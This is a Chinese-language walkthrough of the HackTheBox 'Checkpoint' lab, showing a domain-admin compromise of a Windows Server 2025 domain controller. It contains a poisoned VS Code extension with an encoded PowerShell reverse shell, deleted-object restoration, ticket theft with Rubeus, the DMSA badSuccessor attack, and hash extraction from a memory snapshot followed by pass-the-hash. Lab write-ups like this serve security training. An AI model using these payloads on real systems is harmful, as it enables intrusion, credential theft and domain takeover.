HackTheBox Checkpoint Writeup

HackTheBox Checkpoint 是一台中等难度的 Windows 域控制器靶机。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到域管理员权限的利用链。涉及已删除 AD 对象恢复、VSIX 扩展投毒、Windows Server 2025 DMSA badsuccessor 攻击以及 Volatility 内存取证等技术。

htb checkpoint

信息收集

端口扫描

端口服务备注
53DNSSimple DNS Plus
88KerberosMicrosoft Windows Kerberos
135MSRPCMicrosoft Windows RPC
139NetBIOSMicrosoft Windows netbios-ssn
389LDAPMicrosoft Windows Active Directory LDAP (Domain: checkpoint.htb)
445SMBMicrosoft Windows SMB
464kpasswd5Kerberos password change
593ncacn_httpMicrosoft Windows RPC over HTTP 1.0
3269LDAP GCtcpwrapped (Global Catalog)
5985WinRMMicrosoft HTTPAPI httpd 2.0
9389.NET MF.NET Message Framing

端口全为标准域控制器服务(53/88/389/445/636/3269/5985),无额外 Web 服务,攻击面完全集中在 Active Directory 层面。目标域为 checkpoint.htb,主机名 dc01.checkpoint.htb,操作系统为 Windows Server 2025(凭 DMSA 功能判断)。


Foothold

Step 1:初始立足 — alex.turner

alex.turner:Checkpoint2024!

获得域账号 alex.turner 及其密码后,下一步是枚举该账号在 AD 中的 ACL,寻找可横向或提权的权限路径。


USER

Step 2:横向 — 已删除对象恢复

枚举 alex.turner 的 ACL

bloodyad -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host dc01.checkpoint.htb get writable

结果: 对已删除对象 Mark Davies\0ADEL:2217e877-... 有写入权限。

依据: AD 中删除的用户变为 Deleted Objects 容器中的 \0ADEL 对象。有写入权限者可将其恢复(restore),恢复后原密码不变,组成员资格保留。

恢复 Mark Davies

bloodyad -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb \
  --host dc01.checkpoint.htb set restore \
  'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'

枚举 Mark Davies 的 ACL

Mark 复用 alex 的密码(Checkpoint2024!)。

bloodyad -u mark.davies -p 'Checkpoint2024!' -d checkpoint.htb --host dc01.checkpoint.htb get writable

结果: Mark 对 DevDrop SMB 共享有写入权限。DevDrop 的描述为 “VS Code extensions share for approved .vsix packages”。

Step 3:横向 — VSIX 投毒

制作恶意 .vsix

VSIX 本质是 ZIP 包,结构如下:

[Content_Types].xml
extension.vsixmanifest
extension/
├── package.json      # 扩展元数据 + 入口点
└── extension.js      # payload
mkdir -p malicious-ext/extension
cd malicious-ext

cat > extension/package.json << 'EOF'
{
  "name": "dev-helper",
  "displayName": "Dev Helper",
  "description": "Helpful development utilities",
  "version": "1.0.0",
  "publisher": "checkpoint",
  "engines": {
    "vscode": "^1.118.0"
  },
  "categories": ["Other"],
  "activationEvents": ["*"],
  "main": "./extension.js",
  "contributes": {}
}
EOF

cat > extension/extension.js << 'EOF'
const { exec } = require('child_process');

function activate(context) {
    // PowerShell reverse shell
    const cmd = `cmd /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgA0ADYAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA`;

    exec(cmd, (err) => {});
}

function deactivate() {}

module.exports = { activate, deactivate };
EOF

cat > extension.vsixmanifest << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011">
  <Metadata>
    <Identity Language="en-US" Id="dev-helper" Version="1.0.0" Publisher="checkpoint" />
    <DisplayName>Dev Helper</DisplayName>
    <Description>Helpful development utilities</Description>
  </Metadata>
  <Installation>
    <InstallationTarget Id="Microsoft.VisualStudio.Code"/>
  </Installation>
  <Dependencies/>
  <Assets>
    <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />
  </Assets>
</PackageManifest>
EOF

cat > "[Content_Types].xml" << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="json" ContentType="application/json"/>
  <Default Extension="vsixmanifest" ContentType="text/xml"/>
  <Default Extension="js" ContentType="application/javascript"/>
</Types>
EOF

zip -r ../exploit.vsix "[Content_Types].xml" extension.vsixmanifest extension/

上传到 DevDrop

smbclient //checkpoint.htb/DevDrop \
  -U 'checkpoint.htb\mark.davies%Checkpoint2024!' \
  -c 'put exploit.vsix exploit.vsix'

依据: DevDrop 是域内 VS Code 扩展分发点。上传恶意 .vsix 后,当其他用户(ryan.brooks)的 VS Code 从此处同步扩展时,扩展被安装并自动激活(activationEvents: ["*"]),触发 PowerShell reverse shell,从而获得 ryan.brooks 的 shell。


ROOT (Domain Admin)

Step 4:提权 — DMSA badsuccessor 攻击

导出 ryan.brooks 的 TGT

在 ryan.brooks 的 shell 中:

C:\Windows\Temp\rubeus.exe tgtdeleg /nowrap

依据: tgtdeleg 通过 S4U2Self 请求当前用户的可转发 TGT,无需管理员权限。输出 base64 编码的 kirbi 票据。

在攻击机上转换格式:

echo '<base64票据>' | base64 -d > /tmp/ryan.kirbi
impacket-ticketConverter /tmp/ryan.kirbi /tmp/ryan.ccache
export KRB5CCNAME=/tmp/ryan.ccache

枚举 ryan.brooks 的 ACL

bloodyad -k ccache=/tmp/ryan.ccache -u ryan.brooks -d dc01 --host dc01.checkpoint.htb get writable

结果: ryan.brooks 对 svc_deploy 有写入权限。

检查 badsuccessor(Windows Server 2025 DMSA 特性)

nxc ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M badsuccessor

结果: ryan.brooks (S-1-5-21-…) 位于 OU=DMSAHolder,有权限设置 badSuccessor 属性。

依据: Windows Server 2025 引入了 Delegated Managed Service Accounts (DMSA)。位于 DMSAHolder OU 的用户可通过 badSuccessor 属性将自己设为某 DMSA 的”继任者”,从而获取该服务账户的密码。

执行 badsuccessor 攻击

bloodyad -k ccache=/tmp/ryan.ccache -u ryan.brooks -d checkpoint.htb \
  --host dc01.checkpoint.htb --dc-ip 10.129.14.125 \
  add badSuccessor evilDMSA \
  -t "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" \
  --ou "OU=DMSAHolder,DC=checkpoint,DC=htb"

攻击完成后会输出 evilDMSA 的 ccache 文件(evilDMSA_b1.ccache),该票据对应 svc_deploy 身份。

利用 svc_deploy 枚举共享

export KRB5CCNAME=evilDMSA_b1.ccache
nxc smb dc01.checkpoint.htb -k --use-kcache -M spider_plus

结果: svc_deploy 可以读取特定共享中的 .vmem 虚拟机内存快照文件。

Step 5:DA — Volatility 内存取证

下载 .vmem 文件

nxc 的 --get-file 传大文件会断连(Error 104: Connection reset by peer),需用 impacket SMBConnection.getFile() 或自定义脚本带断点续传。

提取注册表 hive

vol -f snapshot.vmem -o . windows.registry.hivelist --dump

依据: SAM hive 存本地账户(Administrator)NTLM hash,SYSTEM hive 含 boot key 用于解密 SAM。从内存 dump hive 可绕过系统保护。

提取 Administrator hash

impacket-secretsdump \
  -sam registry.SAM.0xc30a3278e000.hive \
  -system registry.SYSTEM.0xc30a2fe38000.hive \
  LOCAL

结果: Administrator:f29e9c014295b9b32139b09a2790be3b

DA 验证

nxc smb 10.129.14.125 -u administrator -H f29e9c014295b9b32139b09a2790be3b -X whoami

确认以域管理员身份执行命令成功。


总结

步骤方法关键点
初始立足alex.turner 域账号凭据获取后枚举 ACL 寻找权限路径
横向 — 用户已删除对象恢复有写权限的可恢复已删除 AD 对象,保留原密码和组成员
横向 — 用户DevDrop VSIX 投毒上传恶意 VS Code 扩展自动激活,获 ryan.brooks shell
提权DMSA badsuccessorWS2025 DMSA 特性,将自身设为继任者获取 svc_deploy 凭证
提权Volatility 内存取证从 .vmem 提取 SAM/SYSTEM hive → secretsdump 获 Administrator hash
教训LDAP signing 导致 bloodhound-python 失败,需用 impacket 收据nxc —get-file 超 100MB 断连需改用 impacket SMB